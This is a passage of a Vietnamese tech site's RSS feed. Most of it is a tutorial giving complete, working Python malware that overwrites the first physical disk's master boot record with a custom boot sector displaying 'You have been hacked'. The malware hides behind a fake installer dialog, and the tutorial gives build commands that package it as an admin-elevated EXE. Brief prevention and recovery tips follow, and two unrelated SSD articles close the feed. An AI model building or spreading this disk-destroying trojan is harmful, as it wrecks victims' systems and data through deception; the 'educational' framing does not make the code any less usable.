<p>Hàm <code>cls</code> cũng sử dụng lệnh <code>int 0x10</code> để gọi dịch vụ hệ thống của BIOS để xóa màn hình. Trong hàm này, chương trình thiết lập các thanh ghi để định dạng của việc xóa màn hình và sau đó gọi lệnh <code>int 0x10</code> để xóa màn hình.</p>
<p>Cuối cùng, chương trình kết thúc bằng hai câu lệnh với  <code>times 510 - ($ - $$) db 0</code> được sử dụng để đảm bảo rằng kích thước của chương trình sẽ là chính xác 512 byte và <code>dw 0xaa55 </code>được sử dụng để đánh dấu kí tự cuối của một sector bootable.</p>
<h4><strong>Để biên dịch được sang mã hex độc và thực thi nó mình đã làm như sau:</strong></h4>
<p>Giờ mình sẽ boot thử vào <strong>boot.bin</strong> bằng qemu binaries xem có được không nhé ! OK. Vậy là được rồi. Đầu tiên mình sẽ sử dụng NASM để biên dịch <strong>boot.asm</strong> sang <strong>boot.bin</strong> sau đó mình sẽ vào website <a href="http://tomeko.net/online_tools/file_to_hex.php?lang=en" target="_blank" rel="noopener">tomeko.net</a> để chuyển file <strong>boot.bin</strong> sang mã hex độc hại tiếp đến mình chỉ vệc copy lại</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/Screenshot-26.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 12" width="1280" height="628" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 28"></p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/Screenshot-20.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 13" width="1109" height="612" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 29"></p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/Screenshot-22.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 14" width="1145" height="708" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 30"></p>
<p>Ngoài ra bạn có thể sử dụng một đoạn script Python nhỏ của mình để chuyển file bin sang dạng mã hex nhé. Nếu bạn có tên file khác boot.bin bạn chỉ cần sửa ở dòng 3 sau đó chạy script, nó sẽ cấp cho bạn 1 đoạn mã hex giống như bên dưới</p>
<pre class="EnlighterJSRAW" data-enlighter-language="python">import binascii

with open("boot.bin", "rb") as f:
    binary_data = f.read()
hex_values = ["0x{:02X}".format(byte) for byte in binary_data]
print(hex_values)

hex_string = ", ".join(hex_values)
print(hex_string)
</pre>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/Screenshot-24.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 15" width="1111" height="615" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 31"></p>
<h3><span style="font-size: 14pt; color: #008000;"><strong>Bước 2: Đính kèm mã hex độc và biên dịch sang EXE</strong></span></h3>
<p>Đầu tiên mình sẽ viết ra 1 đoạn code Python ngắn gọn với module <a href="https://pypi.org/project/pywin32/" target="_blank" rel="noopener">Pywin32</a> việc cài đặt module đó cũng khá đơn giản, bạn chỉ cần mở CMD trên máy sau đó chạy đoạn lệnh <code>pip install pywin32</code>.Với module này giúp mình làm việc với các tài nguyên Windows như các tệp, thư mục, tiến trình, ứng dụng, COM objects, registry, service,&#8230;Không chỉ vậy, nó còn thực hiện các tác vụ liên quan đến Windows, bao gồm cả việc sử dụng các API của Windows thông qua các đối tượng Python. Mình sẽ gọi các module con của Pywin32 bao gồm <strong>win32file, win32api, win32gui, win32ui và win32con</strong> và import tất cả những gì của module vào. Còn module time mình dùng để &#8220;thao túng tâm lý&#8221; nạn nhân thôi :&gt;</p>
<p>Và bạn chỉ cần copy đoạn mã hex lúc nãy mà bạn đã tạo được và paste nó vào bến <strong>ma_doc</strong> như hình bên dưới</p>
<pre class="EnlighterJSRAW" data-enlighter-language="python">from win32file import * 
from win32api import *  
from win32gui import *  
from win32con import *  
from win32ui import *  
from time import sleep

ma_doc = bytes([
     # paste đoạn code dữ liệu hex tại đây

])
</pre>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/carbon2.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 16" width="1361" height="1595" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 32"></p>
<p>Sau khi đã copy mã độc vào biến ma_doc, chúng ta sẽ tạo 1 hàm tên là <strong>run_mbr()</strong> bao gồm các nội dung sau:</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/carbon3.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 17" width="1536" height="797" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 33"></p>
<pre class="EnlighterJSRAW" data-enlighter-language="python">def run_mbr():
    while MessageBox('Bấm "Yes để tiếp tục cài đặt" ', 'Anonyviet',MB_YESNO) == IDNO:
            continue
    sleep(3)
    if MessageBox('Đã cài đặt hoàn tất \nVui lòng khởi động lại máy để phần mềm được làm mới !', "Anonyviet"):
        pass

    anonyviet = CreateFileW(r"\\.\PhysicalDrive0", 
                          GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 
                          None, OPEN_EXISTING, 0, 0)

    WriteFile(anonyviet, ma_doc, None)
    CloseHandle(anonyviet)

run_mbr()</pre>
<p>&nbsp;</p>
<p>Một vòng lặp while vô hạn được bắt đầu. Trong vòng lặp này, một hộp thoại <strong>MessageBox</strong> sẽ xuất hiện với một thông điệp yêu cầu người dùng bấm Yes hoặc No để tiếp tục cài đặt. Nếu người dùng bấm No, vòng lặp sẽ tiếp tục chạy và hộp thoại sẽ xuất hiện lại ( Và đây là kiểu ép buộc người dùng phải chọn Yes ), Nếu người dùng bấm Yes, vòng lặp sẽ kết thúc. Sau đó, chương trình sẽ dừng nghỉ trong 3 giây bằng hàm <code>sleep(3)</code> để đợi người dùng có thể đọc thông báo hoàn tất. Tiếp theo, một hộp thoại MessageBox khác xuất hiện với thông điệp yêu cầu người dùng khởi động lại máy tính để phần mềm được cập nhật. Nếu người dùng nhấn OK, chương trình sẽ tiếp tục thực thi bước tiếp theo. Với chuỗi đầu tiên trong MessageBox đó là <code>Bấm "Yes" để tiếp tục cài đặt</code> Đây là chuỗi hiện lên thông báo văn bản trên hộp thoại, tiếp đến đó là chuỗi <code>'Anonyviet'</code> đây là chuỗi hiện thị tên hộp thoại và cuối cùng đó là <code>MB_YESNO</code> đây là một phương thức gọi hộp thoại YES NO của <strong>win32gui</strong></p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/carbon-1.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 18" width="1986" height="518" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 34"></p>
<p>&nbsp;</p>
<p>Tiếp đến là mở một tập tin được gọi là \\.\PhysicalDrive0, là tệp tương ứng với ổ đĩa vật lý đầu tiên trên hệ thống. Điều này cho phép chương trình ghi một số dữ liệu lên phần MBR (Master Boot Record) của ổ đĩa. Dòng code bên dưới tạo một file handle (một đối tượng để truy cập file) cho thiết bị ổ đĩa vật lý đầu tiên (PhysicalDrive0) bằng cách sử dụng hàm CreateFileW của Windows API. Tham số <code>GENERIC_WRITE</code> chỉ định rằng file handle này sẽ được sử dụng để ghi dữ liệu vào ổ đĩa. Tham số <code>FILE_SHARE_READ</code> và <code>FILE_SHARE_WRITE</code> cho phép các tiến trình khác có thể đọc và ghi vào thiết bị. Tham số <code>None</code> chỉ định rằng không có thuộc tính bảo mật nào được sử dụng cho file handle. Tham số <code>OPEN_EXISTING</code> chỉ định rằng file handle được tạo sẽ trỏ tới một file đã tồn tại. Tham số cuối cùng là các flag khác và ở đây được đặt là 0.</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/carbon-2.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 19" width="1506" height="462" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 35"></p>
<p>&nbsp;</p>
<p>với đoạn code bên dưới sử dụng hàm <code>WriteFile()</code> của Windows API để ghi dữ liệu được lưu trong biến <code>ma_doc</code> (chứa mã độc MBR) vào ổ đĩa vật lý đã được mở file handle (<code>anonyviet</code>). Tiếp đến là hàm <code>CloseHandle()</code>  hàm này đóng file handle (<code>anonyviet</code>) đã được mở trước đó. Việc đóng file handle giúp giải phóng tài nguyên và ngăn chặn việc các tiến trình khác ghi vào thiết bị.</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/carbon-3-1.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 20" width="832" height="432" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 36"></p>
<p>Nói nôm na là chương trình này yêu cầu người dùng bấm Yes để tiếp tục cài đặt, sau đó dừng nghỉ trong 3 giây và hiển thị một thông báo yêu cầu khởi động lại máy tính để cập nhật phần mềm. Sau khi người dùng khởi động lại máy tính, chương trình ghi dữ liệu vào phần MBR của ổ đĩa vật lý đầu tiên trên hệ thống. Và đó chính là mã độc MBR</p>
<p>Đây là đoạn code Python hoàn thiện:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="python">from win32file import * 
from win32api import *  
from win32gui import *  
from win32con import *  
from win32ui import *  
from time import sleep


ma_doc = bytes([
     # paste đoạn code dữ liệu hex tại đây
    0xE8, 0x15, 0x00, 0xBB, 0x27, 0x7C, 0x8A, 0x07, 0x3C, 0x00, 0x74, 0x0B, 0xE8, 0x03, 0x00, 0x43, 0xEB, 0xF4, 
    0xB4, 0x0E, 0xCD, 0x10, 0xC3, 0xC3, 0xB4, 0x07, 0xB0, 0x00, 0xB7, 0x02, 0xB9, 0x00, 0x00, 0xBA, 0x4F, 0x18, 
    0xCD, 0x10, 0xC3, 0x57, 0x65, 0x20, 0x61, 0x72, 0x65, 0x20, 0x41, 0x6E, 0x6F, 0x6E, 0x79, 0x76, 0x69, 0x65, 
    0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2C, 0x20, 0x49, 0x20, 0x61, 0x6D, 0x20, 0x48, 0x65, 0x76, 0x69, 0x6E, 0x0D, 
    0x0A, 0x59, 0x6F, 0x75, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x62, 0x65, 0x65, 0x6E, 0x20, 0x68, 0x61, 0x63, 
    0x6B, 0x65, 0x64, 0x20, 0x21, 0x0D, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA
])

def run_mbr():
    while MessageBox('Bấm "Yes để tiếp tục cài đặt" ', 'Anonyviet',MB_YESNO) == IDNO:
            continue
    sleep(3)
    if MessageBox('Đã cài đặt hoàn tất \nVui lòng khởi động lại máy để phần mềm được làm mới !', "Anonyviet"):
        pass

    anonyviet = CreateFileW(r"\\.\PhysicalDrive0", 
                          GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 
                          None, OPEN_EXISTING, 0, 0)

    WriteFile(anonyviet, ma_doc, None)
    CloseHandle(anonyviet)

run_mbr()</pre>
<p>Để build được file Python sang EXE ( file exe này phải chạy với quyền admin nhen ) mình sẽ sử dụng <strong>Pyinstaller</strong> hoặc là <strong>Nuitka</strong> để build ra phần mềm chứa mã độc mbr:</p>
<p><code>pyinstaller --onefile --uac-admin -w FileMaDocMBRcuaBan.py</code></p>
<p><code>nuitka --onefile --windows-uac-admin --mingw64 --disable-console FileMaDocMBRcuaBan.py</code></p>
<p><strong> Và đây là kết quả !</strong></p>
<div style="width: 1364px;" class="wp-video"><!--[if lt IE 9]><script>document.createElement('video');</script><![endif]--><br />
<video class="wp-video-shortcode" id="video-45229-1" width="1364" height="768" preload="metadata" controls="controls"><source type="video/mp4" src="https://anonyviet.com/wp-content/uploads/2023/02/videodemo.mp4?_=1" /><a href="https://anonyviet.com/wp-content/uploads/2023/02/videodemo.mp4">https://anonyviet.com/wp-content/uploads/2023/02/videodemo.mp4</a></video></div>
<h2><span style="font-size: 18pt; color: #0000ff;"><strong>Cách phòng chống mã độc MBR:</strong></span></h2>
<ol>
<li>Sử dụng phần mềm diệt virus và cập nhật thường xuyên: Cài đặt phần mềm diệt virus trên máy tính của bạn và cập nhật thường xuyên để bảo vệ máy tính của bạn khỏi các mã độc MBR mới nhất.</li>
<li>Không tải xuống và cài đặt phần mềm từ các nguồn không rõ nguồn gốc: Tránh tải xuống và cài đặt phần mềm từ các trang web không rõ nguồn gốc, vì chúng có thể chứa mã độc MBR.</li>
<li>Không mở email hoặc tải xuống các tập tin từ các nguồn không rõ nguồn gốc: Mở email và tải xuống tập tin từ các nguồn không rõ nguồn gốc có thể dẫn đến sự lây lan của mã độc MBR</li>
<li>Sử dụng Firewall: Cài đặt tường lửa (Firewall) để bảo vệ máy tính của bạn khỏi các cuộc tấn công mạng.</li>
<li>Sử dụng phần mềm Anti-Rootkit: Cài đặt phần mềm Anti-Rootkit, nó sẽ giúp phát hiện và loại bỏ mã độc MBR.</li>
<li>Sử dụng mật khẩu truy cập: Sử dụng mật khẩu để bảo vệ BIOS và MBR khỏi các tấn công truy cập trái phép.</li>
<li>Không để ổ đĩa cứng trống trải: Nếu ổ đĩa cứng của bạn trống trải, các hacker có thể sử dụng để lưu trữ mã độc MBR.</li>
<li>Sử dụng phần mềm Backup: Sử dụng phần mềm Backup để sao lưu dữ liệu quan trọng và ổ đĩa cứng, nếu có bất kỳ điều gì xảy ra thì bạn có thể phục hồi lại dữ liệu của mình.</li>
</ol>
<p><span style="font-size: 18pt; color: #0000ff;"><strong>Cách giải quyết khi bị nhiễm mã độc MBR trên Windows</strong></span></p>
<p><strong>Bước 1</strong>: Tải bộ cài đặt Windows từ trang web của Microsoft. Bạn có thể tải về bản cài đặt tương ứng với phiên bản Windows bạn muốn cài đặt, ví dụ như Windows 10.</p>
<p><strong>Bước 2</strong>: Tạo một đĩa hoặc USB khởi động từ bộ cài đặt Windows bạn vừa tải về. Bạn có thể sử dụng một phần mềm tạo USB khởi động như Rufus để thực hiện việc này.</p>
<p><strong>Bước 3</strong>: Chọn thiết bị khởi động từ đĩa hoặc USB mà bạn đã tạo ở bước trên. Để làm điều này, bạn cần truy cập vào BIOS hoặc UEFI firmware và thay đổi thiết lập khởi động.</p>
<p><strong>Bước 4</strong>: Khởi động máy tính từ đĩa hoặc USB khởi động. Sau khi khởi động, bạn sẽ thấy màn hình cài đặt Windows.</p>
<p><strong>Bước 5</strong>: Làm theo các hướng dẫn trên màn hình để cài đặt Windows. Bạn có thể chọn loại cài đặt tùy chỉnh để xóa toàn bộ dữ liệu trên ổ cứng.</p>
<p><strong>Bước 6</strong>: Khi quá trình cài đặt hoàn tất, bạn cần cài đặt các trình điều khiển và các ứng dụng mà bạn sử dụng thường xuyên. Bạn có thể tải chúng từ trang web của nhà sản xuất hoặc từ Microsoft Store.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>MBR là gì và tại sao nó lại dễ bị tấn công?</h3>
<p>MBR (Master Boot Record) là 512 byte đầu tiên trên ổ cứng, chứa thông tin về phân vùng và mã khởi động.  Do vị trí quan trọng và cấu trúc tương đối đơn giản, MBR dễ bị tấn công bởi mã độc, dẫn đến lỗi khởi động hoặc mất dữ liệu.</p>
<h3>Việc tạo mã độc MBR có mục đích gì trong bài viết này?</h3>
<p>Bài viết này nhằm mục đích giáo dục và nghiên cứu về an ninh mạng, không khuyến khích việc tạo hoặc sử dụng mã độc.  Việc trình bày cách tạo mã độc giúp người đọc hiểu rõ hơn về cách thức hoạt động của các cuộc tấn công và biện pháp phòng ngừa.</p>
<h3>Làm thế nào để bảo vệ máy tính khỏi mã độc tấn công MBR?</h3>
<p>Cần thường xuyên sao lưu dữ liệu quan trọng, sử dụng phần mềm diệt virus cập nhật, và giữ cho hệ điều hành và phần mềm luôn được cập nhật bản vá bảo mật.  Sử dụng các công cụ kiểm tra và sửa chữa MBR nếu nghi ngờ bị nhiễm mã độc.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/code-pha-huy-mbr-o-cung-tan-cong-va-phong-chong/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		<enclosure url="https://anonyviet.com/wp-content/uploads/2023/02/videodemo.mp4" length="1923161" type="video/mp4" />
<enclosure url="https://anonyviet.com/wp-content/uploads/2023/02/videodemo.mp4?_=1" length="1923161" type="video/mp4" />

			</item>
		<item>
		<title>Cách tăng tốc ổ cứng SSD trên Windows 11</title>
		<link>https://anonyviet.com/cach-tang-toc-o-cung-ssd-tren-windows-11/</link>
					<comments>https://anonyviet.com/cach-tang-toc-o-cung-ssd-tren-windows-11/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Mon, 23 Jan 2023 09:07:00 +0000</pubDate>
				<category><![CDATA[Windows 7/8/10/11]]></category>
		<category><![CDATA[cải thiện hiệu suất SSD]]></category>
		<category><![CDATA[ssd]]></category>
		<category><![CDATA[windows 11]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=39186</guid>

					<description><![CDATA[Windows 11 đi kèm với những thay đổi mới thú vị tạo nên cuộc cách mạng đáng kể cho hệ điều hành Windows. Tuy nhiên, nhiều người dùng đã phàn nàn rằng SSD của họ hoạt động chậm hơn kể từ khi cập nhật lên Windows 11. Kể từ đó, Microsoft đã phát hành các [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Windows 11 đi kèm với những thay đổi mới thú vị tạo nên cuộc cách mạng đáng kể cho hệ điều hành Windows. Tuy nhiên, nhiều người dùng đã phàn nàn rằng <a href="https://anonyviet.com/kien-thuc-ve-o-cung-hdd-ssd-va-cach-lua-chon-hop-voi-muc-dich-su-dung/">SSD</a> của họ hoạt động chậm hơn kể từ khi cập nhật lên Windows 11. Kể từ đó, Microsoft đã phát hành các bản cập nhật để tăng tốc ổ cứng SSD trên Windows 11.</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2022/01/PS5-Add-M2-SSD-Featured.jpg" alt="Cách cải thiện hiệu suất SSD trên Windows 11" width="943" height="472" title="Cách tăng tốc ổ cứng SSD trên Windows 11 41"></p>
<p>Nếu gần đây bạn cũng đã nâng cấp lên Windows 11 và nhận thấy tốc độ SSD giảm, thì bạn sẽ cần thử một số cách sửa lỗi hiệu suất SSD dưới đây.</p>
<h2>Cách khắc phục SSD chậm thông qua Windows Update</h2>
<p>Kể từ khi phát hành Windows 11, đã có rất nhiều phàn nàn của người dùng về vấn đề hiệu suất chậm của ổ SSD NVMe. Để giải quyết vấn đề này, Microsoft đã phát hành bản cập nhật Windows 11 KB5007262. Bản vá cập nhật Windows đã giúp khắc phục các vấn đề về hiệu suất SSD cho nhiều người dùng.</p>
<p>Bản cập nhật KB5007262 đã được phát hành vào cuối năm 2021, vì vậy bạn có thể đã hoặc chưa cài đặt nó trên hệ thống của mình. Mình khuyên bạn nên kiểm tra lịch sử Windows Update của mình trước khi tiếp tục.</p>
<p>Nếu bạn chưa cài đặt bản cập nhật KB5007262, thì đây là cách bạn có thể tải xuống bản vá để sửa lỗi SSD Windows 11 chạy chậm thông qua Windows Update:</p>
<ol>
<li>Khởi chạy <strong>Start</strong> menu, tìm kiếm <strong>Settings</strong> và nhấp vào kết quả phù hợp nhất.</li>
<li>Từ menu bên, nhấp vào Windows Update.</li>
<li>Nhấp vào <strong>Check for Updates</strong> và khi các bản cập nhật được tìm nạp, hãy xác nhận xem bản cập nhật KB5007262 có được liệt kê hay không. Windows 11 sẽ tự động cài đặt bản cập nhật nếu có.</li>
<li>Sau khi quá trình cài đặt hoàn tất, hãy nhấp vào <strong>Restart now</strong> để các thay đổi có hiệu lực.</li>
</ol>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/01/windows-update-catalog.jpg" alt="Cách tăng tốc ổ cứng SSD trên Windows 11 24" width="707" height="206" title="Cách tăng tốc ổ cứng SSD trên Windows 11 42"></p>
<p>Nếu bạn không nhận được bản cập nhật KB5007262 tự động, bạn sẽ phải tải xuống bản cập nhật này từ <a href="https://go.skimresources.com/?id=85009X1675668&amp;isjs=1&amp;jv=15.2.2-stackpath&amp;sref=https%3A%2F%2Fwww.makeuseof.com%2Fwindows-11-improve-ssd-performance%2F&amp;url=https%3A%2F%2Fwww.catalog.update.microsoft.com%2FSearch.aspx%3Fq%3DKB5007262%2520&amp;xs=1&amp;xtz=-420&amp;xuuid=dbc58ab3476d8826efc32793478c64a2&amp;abp=1&amp;xjsf=other_click__contextmenu%20%5B2%5D" target="_blank" rel="noopener">Danh mục Microsoft Update</a> theo cách thủ công. Đảm bảo tải phiên bản x64 của bản cập nhật</p>
<p>Sau khi bản cập nhật được tải xuống, hãy cài đặt nó và khi được nhắc, hãy khởi động lại hệ thống của bạn. Bản vá cập nhật sẽ có tác động đáng kể đến việc cải thiện hiệu suất SSD của hệ thống của bạn.</p>
<h2>Tắt các chương trình startup để tăng tốc SSD của bạn</h2>
<p>Nếu bạn đã cài đặt bản vá cập nhật KB5007262, thì bạn sẽ cần phải điều chỉnh một số thứ để SSD của mình hoạt động tốt trở lại. Giảm số lượng ứng dụng khởi chạy khi khởi động có thể ảnh hưởng đáng kể đến hiệu suất của SSD và tốc độ khởi động của nó.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/01/task-manager-startup.jpg" alt="Cách tăng tốc ổ cứng SSD trên Windows 11 25" width="707" height="443" title="Cách tăng tốc ổ cứng SSD trên Windows 11 43"></p>
<p>Để tắt ứng dụng startup, bạn chỉ cần nhấp chuột phải vào <strong>Start</strong> menu và nhấp vào <strong>Task Manager</strong>. Sau đó nhấp vào tab <strong>Startup</strong> và tắt tất cả các ứng dụng không cần thiết.</p>
<h2>Bật Fast Startup</h2>
<p>Fast startup là một tính năng tiện lợi có sẵn trong Power Options và nó cho phép bạn khởi động PC nhanh hơn sau khi tắt máy. Lưu ý, bạn không nên bật tính năng khi sử dụng dual boot.</p>
<p>Để bật Fast startup trên Windows 11 và tăng hiệu suất SSD:</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2022/01/power-options-cpanel-win11.jpg" alt="Cách tăng tốc ổ cứng SSD trên Windows 11 26" width="943" height="443" title="Cách tăng tốc ổ cứng SSD trên Windows 11 44"></p>
<ol>
<li>Mở <strong>Control Panel</strong> từ <strong>Start </strong>menu.</li>
<li>Bấm vào <strong>Hardware and Sound</strong>, chọn <strong>Power Options</strong>, sau đó chọn <strong>Choose what the power button does</strong>.</li>
<li>Nhấp vào <strong>Change settings that are currently unavailable</strong>.</li>
<li>Trong cài đặt <strong>Shutdown</strong>, hãy đảm bảo <strong>Turn on fast startup</strong> được bật.</li>
<li>Cuối cùng, nhấn vào <strong>Save changes</strong> để thay đổi có hiệu lực.</li>
</ol>
<p>Windows 11 rất mạnh mẽ, nhưng nó đi kèm với một số vấn đề. Có rất nhiều điều để mong đợi sau khi nâng cấp và Windows 11 sẽ chỉ trở nên tốt hơn vào năm 2022.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>Tôi có cần cài đặt bản cập nhật KB5007262 để tăng tốc SSD không?</h3>
<p>Nhiều người dùng đã báo cáo cải thiện hiệu suất SSD sau khi cài đặt bản cập nhật KB5007262.  Bạn nên kiểm tra và cài đặt bản cập nhật này nếu chưa có.</p>
<h3>Tắt các chương trình khởi động có thực sự giúp tăng tốc SSD?</h3>
<p>Có, giảm số lượng ứng dụng khởi động cùng hệ thống sẽ giúp giảm tải cho SSD và cải thiện tốc độ khởi động máy tính.</p>
<h3>Bật tính năng Fast Startup có an toàn không?</h3>
<p>Bật Fast Startup thường giúp khởi động máy tính nhanh hơn, nhưng không nên bật nếu bạn đang sử dụng tính năng dual boot.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/cach-tang-toc-o-cung-ssd-tren-windows-11/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Có thể khôi phục dữ liệu trên ổ cứng SSD không?</title>
		<link>https://anonyviet.com/co-the-khoi-phuc-du-lieu-tren-o-cung-ssd-khong/</link>
					<comments>https://anonyviet.com/co-the-khoi-phuc-du-lieu-tren-o-cung-ssd-khong/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Sun, 25 Sep 2022 09:14:45 +0000</pubDate>
				<category><![CDATA[Mẹo Vặt Máy Tính]]></category>
		<category><![CDATA[khôi phục dữ liệu]]></category>
		<category><![CDATA[ổ cứng]]></category>
		<category><![CDATA[ssd]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=43666</guid>

					<description><![CDATA[Bài viết này của bác Andy Pham trong Group Nghiện Tech, có phân tích khá dễ hiểu về cơ chế hoạt động của SSD và những lý do có thể/không thể khôi phục dữ liệu trên ổ cứng SSD. SSD/TRIM &#8211; Khôi phục dữ liệu SSD trên Mac/Win Mọi người thường gọi SSD là ổ [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Bài viết này của bác <a href="https://www.facebook.com/thitluoc20" target="_blank" rel="noopener">Andy Pham</a> trong Group Nghiện Tech, có phân tích khá dễ hiểu về cơ chế hoạt động của SSD và những lý do có thể/không thể khôi phục dữ liệu trên ổ cứng SSD.</strong></p>
<h2><strong>SSD/TRIM &#8211; Khôi phục dữ liệu SSD trên Mac/Win</strong></h2>
